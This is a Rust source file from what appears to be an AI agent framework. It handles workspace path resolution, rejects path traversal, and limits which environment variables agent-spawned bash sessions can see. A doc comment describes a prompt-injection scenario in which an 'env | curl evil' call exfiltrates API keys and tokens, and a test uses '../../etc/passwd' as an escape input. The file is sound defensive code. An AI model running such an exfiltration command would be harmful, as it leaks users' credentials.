Skip to main content

heartbit_core/
workspace.rs

1//! Workspace root management and path normalization for sandboxed agent file access.
2
3use std::path::{Component, Path, PathBuf};
4
5use crate::error::Error;
6
7/// An agent's home directory — a persistent location for notes, artifacts,
8/// and intermediate results that survive context window limits.
9///
10/// The workspace is not a sandbox: the agent can still access the rest of
11/// the filesystem. It's a *home base* where relative paths resolve to,
12/// giving the agent a canonical place to organize its work.
13#[derive(Debug, Clone)]
14pub struct Workspace {
15    root: PathBuf,
16}
17
18impl Workspace {
19    /// Open (or create) a workspace at the given root directory.
20    ///
21    /// Creates the directory and all parents if they don't exist.
22    pub fn open(root: impl Into<PathBuf>) -> Result<Self, Error> {
23        let root = root.into();
24        if !root.exists() {
25            std::fs::create_dir_all(&root).map_err(|e| {
26                Error::Config(format!(
27                    "failed to create workspace at {}: {e}",
28                    root.display()
29                ))
30            })?;
31        }
32        // Canonicalize to resolve symlinks and get an absolute path
33        let root = root.canonicalize().map_err(|e| {
34            Error::Config(format!(
35                "failed to canonicalize workspace path {}: {e}",
36                root.display()
37            ))
38        })?;
39        Ok(Self { root })
40    }
41
42    /// The absolute path to the workspace root.
43    pub fn root(&self) -> &Path {
44        &self.root
45    }
46
47    /// Resolve a relative path against the workspace root.
48    ///
49    /// Returns `Err` if the resolved path escapes the workspace root
50    /// (e.g., via `../..`). Absolute paths are returned as-is.
51    pub fn resolve(&self, path: &str) -> Result<PathBuf, Error> {
52        let p = Path::new(path);
53
54        // Absolute paths pass through unchanged
55        if p.is_absolute() {
56            return Ok(p.to_path_buf());
57        }
58
59        // Reject path traversal that escapes the workspace
60        let candidate = self.root.join(p);
61        let normalized = normalize_path(&candidate);
62
63        if !normalized.starts_with(&self.root) {
64            return Err(Error::Agent(format!(
65                "path '{}' escapes workspace root ({})",
66                path,
67                self.root.display()
68            )));
69        }
70
71        Ok(normalized)
72    }
73}
74
75/// Normalize a path by resolving `.` and `..` components without touching
76/// the filesystem. This is needed because `canonicalize()` requires the
77/// path to exist, but we want to resolve paths that don't exist yet.
78pub fn normalize_path(path: &Path) -> PathBuf {
79    let mut components = Vec::new();
80    for component in path.components() {
81        match component {
82            Component::ParentDir => {
83                // Pop the last normal component, but never go above root
84                match components.last() {
85                    Some(Component::Normal(_)) => {
86                        components.pop();
87                    }
88                    _ => {
89                        // At root or empty — can't go higher
90                        components.push(component);
91                    }
92                }
93            }
94            Component::CurDir => {} // Skip `.`
95            _ => components.push(component),
96        }
97    }
98    components.iter().collect()
99}
100
101/// Controls which environment variables are visible to bash subprocesses.
102///
103/// **BREAKING CHANGE (F-FS-2)**: the default is now `Allowlist(DAEMON_ENV_ALLOWLIST)`.
104/// Previously `Inherit` was the default — which passed all parent env vars
105/// (including `ANTHROPIC_API_KEY`, `AWS_*`, `GITHUB_TOKEN`, etc.) into bash.
106/// A single prompt-injection-driven `env | curl evil` call could exfiltrate
107/// every secret. Use `EnvPolicy::Inherit` explicitly (and document why) if
108/// you really want full inheritance.
109#[derive(Debug, Clone)]
110pub enum EnvPolicy {
111    /// Inherit ALL env vars from the parent process. Dangerous when the agent
112    /// can spawn shells under prompt-injection control. Opt-in only.
113    Inherit,
114    /// Only pass explicitly allowlisted env vars. **Default** — populated with
115    /// [`DAEMON_ENV_ALLOWLIST`] which contains no secrets.
116    Allowlist(Vec<String>),
117}
118
119impl Default for EnvPolicy {
120    fn default() -> Self {
121        Self::Allowlist(
122            DAEMON_ENV_ALLOWLIST
123                .iter()
124                .map(|s| (*s).to_string())
125                .collect(),
126        )
127    }
128}
129
130/// Safe default allowlist for daemon mode — no secrets, just system vars.
131pub const DAEMON_ENV_ALLOWLIST: &[&str] = &[
132    "PATH", "HOME", "USER", "LANG", "LC_ALL", "LC_CTYPE", "TZ", "TERM", "SHELL", "TMPDIR",
133];
134
135#[cfg(test)]
136mod tests {
137    use super::*;
138
139    #[test]
140    fn open_creates_directory() {
141        let dir = tempfile::tempdir().unwrap();
142        let ws_path = dir.path().join("new_workspace");
143        assert!(!ws_path.exists());
144
145        let ws = Workspace::open(&ws_path).unwrap();
146        assert!(ws_path.exists());
147        assert!(ws.root().is_absolute());
148    }
149
150    #[test]
151    fn open_existing_directory() {
152        let dir = tempfile::tempdir().unwrap();
153        let ws = Workspace::open(dir.path()).unwrap();
154        assert_eq!(ws.root(), dir.path().canonicalize().unwrap());
155    }
156
157    #[test]
158    fn resolve_relative_path() {
159        let dir = tempfile::tempdir().unwrap();
160        let ws = Workspace::open(dir.path()).unwrap();
161
162        let resolved = ws.resolve("notes.md").unwrap();
163        assert_eq!(resolved, ws.root().join("notes.md"));
164    }
165
166    #[test]
167    fn resolve_nested_relative_path() {
168        let dir = tempfile::tempdir().unwrap();
169        let ws = Workspace::open(dir.path()).unwrap();
170
171        let resolved = ws.resolve("sub/dir/file.txt").unwrap();
172        assert_eq!(resolved, ws.root().join("sub/dir/file.txt"));
173    }
174
175    #[test]
176    fn resolve_absolute_path_passthrough() {
177        let dir = tempfile::tempdir().unwrap();
178        let ws = Workspace::open(dir.path()).unwrap();
179
180        let resolved = ws.resolve("/etc/hosts").unwrap();
181        assert_eq!(resolved, PathBuf::from("/etc/hosts"));
182    }
183
184    #[test]
185    fn resolve_rejects_escape() {
186        let dir = tempfile::tempdir().unwrap();
187        let ws = Workspace::open(dir.path()).unwrap();
188
189        let result = ws.resolve("../../etc/passwd");
190        assert!(result.is_err());
191        let err = result.unwrap_err().to_string();
192        assert!(err.contains("escapes workspace root"), "got: {err}");
193    }
194
195    #[test]
196    fn resolve_allows_internal_dotdot() {
197        let dir = tempfile::tempdir().unwrap();
198        let ws = Workspace::open(dir.path()).unwrap();
199
200        // sub/../file.txt should resolve to workspace/file.txt (stays inside)
201        let resolved = ws.resolve("sub/../file.txt").unwrap();
202        assert_eq!(resolved, ws.root().join("file.txt"));
203    }
204
205    #[test]
206    fn resolve_dot_path() {
207        let dir = tempfile::tempdir().unwrap();
208        let ws = Workspace::open(dir.path()).unwrap();
209
210        let resolved = ws.resolve(".").unwrap();
211        assert_eq!(resolved, ws.root().to_path_buf());
212    }
213
214    #[test]
215    fn normalize_path_basic() {
216        let path = Path::new("/a/b/../c/./d");
217        assert_eq!(normalize_path(path), PathBuf::from("/a/c/d"));
218    }
219
220    #[test]
221    fn normalize_path_no_escape_root() {
222        let path = Path::new("/a/../../b");
223        let normalized = normalize_path(path);
224        // Should not go above root: /a/../../b -> /b
225        assert!(normalized.starts_with("/"));
226    }
227
228    /// SECURITY (F-FS-2): the default MUST be Allowlist (no secrets) rather
229    /// than Inherit. Previously the default was `Inherit`, which leaked
230    /// `ANTHROPIC_API_KEY` / `AWS_*` / etc. to LLM-controlled bash sessions.
231    #[test]
232    fn env_policy_default_is_safe_allowlist() {
233        match EnvPolicy::default() {
234            EnvPolicy::Allowlist(list) => {
235                assert!(list.contains(&"PATH".to_string()));
236                // No KEY/TOKEN/SECRET names should be in the default.
237                let suspicious: Vec<&String> = list
238                    .iter()
239                    .filter(|n| {
240                        let u = n.to_ascii_uppercase();
241                        u.contains("KEY") || u.contains("TOKEN") || u.contains("SECRET")
242                    })
243                    .collect();
244                assert!(
245                    suspicious.is_empty(),
246                    "default allowlist must not contain secret-like names: {suspicious:?}"
247                );
248            }
249            EnvPolicy::Inherit => panic!(
250                "EnvPolicy::default() must NOT be Inherit (F-FS-2). \
251                 Use EnvPolicy::Inherit explicitly if you really want it."
252            ),
253        }
254    }
255
256    #[test]
257    fn daemon_env_allowlist_contains_path() {
258        assert!(DAEMON_ENV_ALLOWLIST.contains(&"PATH"));
259    }
260}